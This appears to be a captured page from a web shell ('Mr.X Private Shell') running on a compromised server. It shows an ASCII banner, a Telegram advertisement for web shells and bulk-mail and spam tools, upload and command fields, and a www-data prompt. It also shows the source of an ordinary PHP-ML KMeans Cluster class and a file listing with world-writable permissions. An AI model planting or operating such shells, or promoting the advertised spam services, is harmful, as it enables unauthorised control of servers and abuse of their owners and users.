__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

declare(strict_types=1);

namespace Phpml\Clustering\KMeans;

use IteratorAggregate;
use LogicException;
use SplObjectStorage;

class Cluster extends Point implements IteratorAggregate
{
    /**
     * @var Space
     */
    protected $space;

    /**
     * @var SplObjectStorage|Point[]
     */
    protected $points;

    public function __construct(Space $space, array $coordinates)
    {
        parent::__construct($coordinates);
        $this->space = $space;
        $this->points = new SplObjectStorage();
    }

    public function getPoints(): array
    {
        $points = [];
        foreach ($this->points as $point) {
            if ($point->label === null) {
                $points[] = $point->toArray();
            } else {
                $points[$point->label] = $point->toArray();
            }
        }

        return $points;
    }

    public function toArray(): array
    {
        return [
            'centroid' => parent::toArray(),
            'points' => $this->getPoints(),
        ];
    }

    public function attach(Point $point): Point
    {
        if ($point instanceof self) {
            throw new LogicException('Cannot attach a cluster to another');
        }

        $this->points->attach($point);

        return $point;
    }

    public function detach(Point $point): Point
    {
        $this->points->detach($point);

        return $point;
    }

    public function attachAll(SplObjectStorage $points): void
    {
        $this->points->addAll($points);
    }

    public function detachAll(SplObjectStorage $points): void
    {
        $this->points->removeAll($points);
    }

    public function updateCentroid(): void
    {
        $count = count($this->points);
        if ($count === 0) {
            return;
        }

        $centroid = $this->space->newPoint(array_fill(0, $this->dimension, 0));

        foreach ($this->points as $point) {
            for ($n = 0; $n < $this->dimension; ++$n) {
                $centroid->coordinates[$n] += $point->coordinates[$n];
            }
        }

        for ($n = 0; $n < $this->dimension; ++$n) {
            $this->coordinates[$n] = $centroid->coordinates[$n] / $count;
        }
    }

    /**
     * @return Point[]|SplObjectStorage
     */
    public function getIterator()
    {
        return $this->points;
    }

    public function count(): int
    {
        return count($this->points);
    }

    public function setCoordinates(array $newCoordinates): void
    {
        $this->coordinates = $newCoordinates;
    }
}

Filemanager

Name Type Size Permission Actions
Cluster.php File 2.49 KB 0777
Point.php File 2.4 KB 0777
Space.php File 6.36 KB 0777
Filemanager